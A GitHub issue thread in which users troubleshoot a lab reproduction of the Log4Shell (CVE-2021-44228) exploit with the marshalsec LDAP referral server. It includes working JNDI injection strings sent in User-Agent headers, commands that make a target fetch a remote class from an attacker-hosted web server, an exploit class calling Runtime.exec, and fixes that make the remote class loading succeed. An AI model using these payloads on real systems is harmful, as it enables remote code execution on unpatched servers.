Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Marshalsec and webserver do not communicate #28

Open
daniomass opened this issue Dec 13, 2021 · 56 comments
Open

Marshalsec and webserver do not communicate #28

daniomass opened this issue Dec 13, 2021 · 56 comments

Comments

@daniomass
Copy link

I'm trying to reproduce the exploit of CVE-2021-44228.
All is done and when i run the request, the LDAP server shows me
"Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"

but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine.
The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.

it seems that marshalsec tool and python webserver does not communicates.

What it could be??
Thank you for the support

@fullstcat
Copy link

It is only suitable for a few scenes, not for most scenes

@mbechler
Copy link
Owner

-> https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

@fullstcat
Copy link

oh,That is, the Java version is not applicable and needs to be deserialized

@3rror101
Copy link

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

@daniomass
Copy link
Author

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

Not yet solved for me. I'm using Java 1.8_0_181 on the attack machine, not a java version issue.
Any suggestion?

@kenmccann
Copy link

Same. Seems like the LDAP reference doesn't actually take place.

Marshalsec:

Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://10.0.0.1:8000/Log4jRCE.class

http server:

$ python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

@fullstcat
Copy link

fullstcat commented Dec 14, 2021

Is the version of the target host and needs to be by pass

@kenmccann
Copy link

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

@daniomass
Copy link
Author

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

@kenmccann
Copy link

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

I'm in the same boat. I've read mbechler's PSA and I don't really see what we could be missing

@kenmccann
Copy link

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

@daniomass
Copy link
Author

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

So have you solved the issue?

@mbechler
Copy link
Owner

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

@Mylifeismyhome
Copy link

@mbechler works with 8u181 thanks :)

@daniomass
Copy link
Author

daniomass commented Dec 14, 2021

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

Here's my setup:
java -version
java version "1.8.0_181"
Java(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed)

The LDAP Server is started with the following syntax:
java -cp target/marshalsec-0.0.3-SNAPSHOT.all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#RCE

The HTTP Server is started with the following syntax:
python3 -m http.server 8000

i'm on a centos7, for the test i have disabled selinux and firewalld

@kenmccann
Copy link

Still can't get it to make the connection.

  • Ubuntu 21.10
  • log4jpwn docker container is the exploited workload (exploit works fine)
  • Using JDK 8u181, properly linked
  • marshalsec jar is built with mvn using above jdk
  • Starting the LDAP Ref with this command: $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
  • Initiate exploit with: curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
  • marshalsec LDAP server receives the jndi reference and says it forwards it to the HTTP server, but it does not
  • No networking issue between the LDAP server and the HTTP server (same host) and also confirmed with curl

log4jpwn jetty server successfully exploited

$ curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 9696 (#0)
> GET / HTTP/1.1
> Host: localhost:9696
> Accept: */*
> User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}
>
< HTTP/1.1 200 OK
< Date: Tue, 14 Dec 2021 23:52:24 GMT
< Content-Type: text/html;charset=utf-8
< Transfer-Encoding: chunked
< Server: Jetty(9.4.z-SNAPSHOT)

LDAP server receives exploited JNDI reference

kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET received by HTTP server

kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

Local test of HTTP server reachability

kenmac@flanders:~$ curl http://localhost:8889/test123
....

Confirmed that the HTTP server is reachable from the same host

kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

127.0.0.1 - - [15/Dec/2021 00:23:49] code 404, message File not found
127.0.0.1 - - [15/Dec/2021 00:23:49] "GET /test123 HTTP/1.1" 404 -

I took the debugging a step further to see if I could figure out the state of the LDAP referral and added the highlighted line below and recompiled marshalsec:
image

The same attempt now shows the LDAP search query result looking like this:

kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=34 (invalid DN syntax), diagnosticMessage='Unable to perform the search because an error occurred while attempting to parse base DN 'Log4jRCE':  The provided string could not be decoded as a DN because no equal sign was found after the RDN attribute 'Log4jRCE'.')

Not sure what's wrong here.

@mbechler
Copy link
Owner

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

@Sumiya1020
Copy link

Sumiya1020 commented Dec 15, 2021

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

@mbechler I tried ${jndi:ldap://192.168.71.130:7979/cn=Exploit} this and result is the same. Not redirecting.
Result: LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Exploit' does not exist in the server.')

@kenmccann
Copy link

kenmccann commented Dec 15, 2021

cn=Log4jRCE

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for cn=Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Log4jRCE' does not exist in the server.')

No DN at all:
curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389}' localhost:9696

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

However, still no outbound connection made to HTTP server.

@mbechler
Copy link
Owner

Hm, that sound like unbound is still unhappy about the DN, maybe ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE,dc=example,dc=com}

@istern
Copy link

istern commented Dec 16, 2021

If it helps I've only seen this when running an apache solr "as an example" on windows, running newer versions of java. It works fine with 181

@allenz92
Copy link

allenz92 commented Dec 17, 2021

I'm trying to reproduce the exploit of CVE-2021-44228. All is done and when i run the request, the LDAP server shows me "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"

but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine. The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.

it seems that marshalsec tool and python webserver does not communicates.

What it could be?? Thank you for the support

I have the same issue, but sovled aftert I read this on API doc:
This class loader is used to load classes and resources from a search path of URLs referring to both JAR files and directories. Any URL that ends with a '/' is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.
In summary ,when run marshalsec, the codebase need end with "/"

@antihack3r
Copy link

Same issue. java 8u181

@mbechler
Copy link
Owner

@allenz92 thanks for the pointer, I did never try to figure out why that was not working in that case.

For every one else still having issues after considering all the mentioned conditions, it would be certainly interesting to figure out why that fails. You could debug the target process, the following call stack (this one is 8u181) would be the relevant part:

loadClass:83, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

@mbechler
Copy link
Owner

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

@kenmccann
Copy link

kenmccann commented Dec 18, 2021

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:

$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

@mbechler
Copy link
Owner

Yes, the call looks good.

@kenmccann
Copy link

Do we consider the LDAP query result error problematic in this case? Or is this expected behavior even when the remote class is properly sourced from the remote codebase?

@mbechler
Copy link
Owner

mbechler commented Dec 18, 2021

Hadn't checked yet, but no this does not seem to be the issue, I also see these in successful exploitation.

Edit: The observed error is just the original status set by unbound the setResult call afterwards clears that.

@dextacy10-13
Copy link

dextacy10-13 commented Dec 18, 2021

having exactly the same issues as @kenmccann
Running Ubuntu 20.04 and java 8u181
Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name
entry

entry-base-debug

@kenmccann
Copy link

kenmccann commented Dec 18, 2021

having exactly the same issues as @kenmccann Running Ubuntu 20.04 and java 8u181 Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name

@dextacy10-13 apparently the LDAP error expected. Still not quite sure why the outbound connection is not occurring.

@mbechler
Copy link
Owner

Just to reiterate and rule out potential misunderstandings, the direct factory remote classloading vector (in default configuration) will only work if the Java runtime performing the JNDI lookup, i.e. the exploited target, is running Java <8u191. (The version you run LDAPRefServer on does not matter).

If this is the case, then really, debugging the target is likely the only reasonable way to figure out what is happening.

@ecki
Copy link

ecki commented Dec 19, 2021

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

Actually it only checks getAttributes for the class filter, but then if the Name matches (on the java class Attribute which is of course not safe to check) it still uses lookup())

@mbechler
Copy link
Owner

Ah, right, missed that. Thanks for pointing that out.

@za233
Copy link

za233 commented Dec 20, 2021

your java verison should be lower than java8-u121 , otherwise the server will not request the http server. because a new option trustURLCodebase(default false) has been added to the higher version java.

@kenmccann
Copy link

John uses 8u181 across the board in his video and it seems to work fine. Is he full of it? https://youtu.be/7qoPDq41xhQ?t=1016

@mbechler
Copy link
Owner

No 8u181 should still work with LDAP, u121 ist just relevant for RMI/CORBA.

@thereallry
Copy link

Encountered same situation.
Target app: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
(Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.)
Ldap server: marshalsec
codebase: python3 -m http.server 1763

image
image

@mbechler
Copy link
Owner

Had a look: The debian u181 build (build 1.8.0_181-8u181-b13-2~deb9u1-b13) used by the openjdk u181 docker image has a backported security patch (patches/sec-webrev-8u191-b12-S8199177-jdk.patch)

@mbechler
Copy link
Owner

Also, specifying http://127.0.0.1:1763/, if you haven't disabled network namespacing, likely is not working as you intended.

openjdk:8u181-alpine works,btw.

@ndrsf
Copy link

ndrsf commented Dec 22, 2021

Hi,

I'm also experiencing this error. I debugged as far as I could and I land in this native method call in the end:
java.lang.Class#forName0() with these parameters:

name = "http://localhost:8081/payload"
initialize = true
loader = {TomcatEmbeddedWebappClassLoader@6837} "TomcatEmbeddedWebappClassLoader\r\n  context: ROOT\r\n  delegate: true\r\n----------> Parent Classloader:\r\nsun.misc.Launcher$AppClassLoader@18b4aac2\r\n"
caller = null

The return value I get is:

result = {ClassNotFoundException@6942} Method threw 'java.lang.ClassNotFoundException' exception.
 ex = null
 detailMessage = "http://localhost:8081/payload"

I see no GET request on the webserver listening on port 8081, so I assume the name format is just wrong. Maybe this helps narrowing it down?

Best regards

@mbechler
Copy link
Owner

Although the name is strange, that also does not seem to be the correct location as it's the wrong classloader. Do you have a stacktrace?

@ndrsf
Copy link

ndrsf commented Dec 23, 2021

I think I'm just filling the LDAP response wrong. This is my setup:

e.addAttribute("javaClassName", "de.apwolf.log4shell.attacker.Attack");
e.addAttribute("javaCodeBase", "http://localhost:8081");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "http://localhost:8081#de.apwolf.log4shell.attacker.Attack");

I see no traffic towards port 8081 at all with Wireshark. So I think something is failing in the validation for the class loading, but I cannot figure out what it is.
In the victim application I see the log entry "Reference Class Name: de.apwolf.log4shell.attacker.Attack", so just the remote class loading seems to fail.

@mbechler
Copy link
Owner

Yes, javaFactory should just be the classname

@ndrsf
Copy link

ndrsf commented Dec 23, 2021

You're absolutely right, now the download is triggered. However the class is still not executed. If I put the class on the classpath manually I see the execution, so the class itself is fine.

These are my parameters now:

            e.addAttribute("javaClassName", "Attack");
            e.addAttribute("javaCodeBase", "http://localhost:8081");
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", "Attack");

My log string: ${jndi:ldap://127.0.0.1:1389/Attack}
My file server returns the compiled class under the file name "Attack.class". The JVM just performs a GET "http://localhost:8081/" which is successful.

I removed Java packages because I felt they were only making things harder.

I debugged into the URLClassLoader, and indeed the URL shows up, however the class is not loaded.
I'm currently wondering if maybe the .class ending is necessary in some cases? I tried a lot of permutations but none worked.

P.S.: I found a way to debug some of the JNDI stuff, this is the exception shown:

DEBUG StatusLogger Starting JndiManager org.apache.logging.log4j.core.net.JndiManager
URLClassPath.getResource("Attack.class")
URLClassPath.getResource("Attack.class")
URLClassPath.getResource("Attack.class")
URLClassPath.getResource("Attack.class")
URLClassPath.getResource("Attack.class")
Opening http://localhost:8081
java.lang.Exception: Stack trace
	at java.lang.Thread.dumpStack(Thread.java:1336)
	at sun.misc.URLClassPath$JarLoader$1.run(URLClassPath.java:873)
	at sun.misc.URLClassPath$JarLoader$1.run(URLClassPath.java:869)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.misc.URLClassPath$JarLoader.ensureOpen(URLClassPath.java:868)
	at sun.misc.URLClassPath$JarLoader.<init>(URLClassPath.java:819)
	at sun.misc.URLClassPath$3.run(URLClassPath.java:565)
	at sun.misc.URLClassPath$3.run(URLClassPath.java:555)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.misc.URLClassPath.getLoader(URLClassPath.java:554)
	at sun.misc.URLClassPath.getLoader(URLClassPath.java:519)
	at sun.misc.URLClassPath.getNextLoader(URLClassPath.java:484)
	at sun.misc.URLClassPath.getResource(URLClassPath.java:238)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:365)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:362)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.net.URLClassLoader.findClass(URLClassLoader.java:361)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at java.net.FactoryURLClassLoader.loadClass(URLClassLoader.java:814)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Class.java:348)
	at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
	at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
	at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
	at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
	at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
	at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
	at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
	at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
	at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
	at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
	at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
	at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
	at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
	at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
	at de.apwolf.log4shell.victim.SomeRestService.postRequest(SomeRestService.java:16)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1732)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
	at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)
DEBUG StatusLogger Shutting down JndiManager org.apache.logging.log4j.core.net.JndiManager
DEBUG StatusLogger Shut down JndiManager org.apache.logging.log4j.core.net.JndiManager, all resources released: true

P.P.S: I found the solution - you have to provide a JAR, not the class file itself. Eventually I might post my code on https://github.com/ndrsf/log4shell in case somebody else wants to see more details.

Thanks a lot for your support and merry Christmas!

@mbechler
Copy link
Owner

There is some magic to having a trailing slash at the URL or not: #28 (comment)

@JonathanAppriou
Copy link

@daniomass did it work for you in the end ?

@kaleidoscoperope
Copy link

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:

$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw). I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.

Vulnerable App:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:

public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

@kaleidoscoperope
Copy link

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:

$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw). I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.

Vulnerable App:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:

public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Interestingly, I can get the request to show up when the requested class does not exist. See screenshots below:

image

image

@ndrsf
Copy link

ndrsf commented Jan 12, 2022

I had to provide a Jar file with my webserver, not the class file directly. I suggest not using any Java packages for the exploit class, this way you can just zip the class file, rename the zip to jar and host this file.

@JonathanAppriou
Copy link

@kaleidoscoperope I think you should change your target app. Try with this version of Ghidra :

https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.0.3_build

And lauch it with Java SE Development Kit 11, at the end of this link :

https://www.oracle.com/fr/java/technologies/javase/jdk11-archive-downloads.html
image

You can put the payload string here :

image

@kaleidoscoperope
Copy link

@ndrsf @JonathanAppriou thanks for the suggestions! I think it wasn't working properly because my vulnerable app and my exploit were in the same project. Separating them gives me the intended results.

@kaleidoscoperope
Copy link

I just tried to put my vulnerable app in a virtual machine and tried using marshalsec to deliver my exploit to it. I got the same issue where the LDAP server receives the request but fails to redirect to the HTTP server. It works perfectly when the app is on my host machine, though. Do you have any idea what might be wrong?

@JonathanAppriou
Copy link

It's your JAVA version

@kaleidoscoperope
Copy link

That was the issue; thank you!

@bittervan
Copy link

The bug was fixed in later version of JDK, so use version like 8u112. I resolved the problem by changing to that version.

Repository owner locked as resolved and limited conversation to collaborators Apr 25, 2022
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests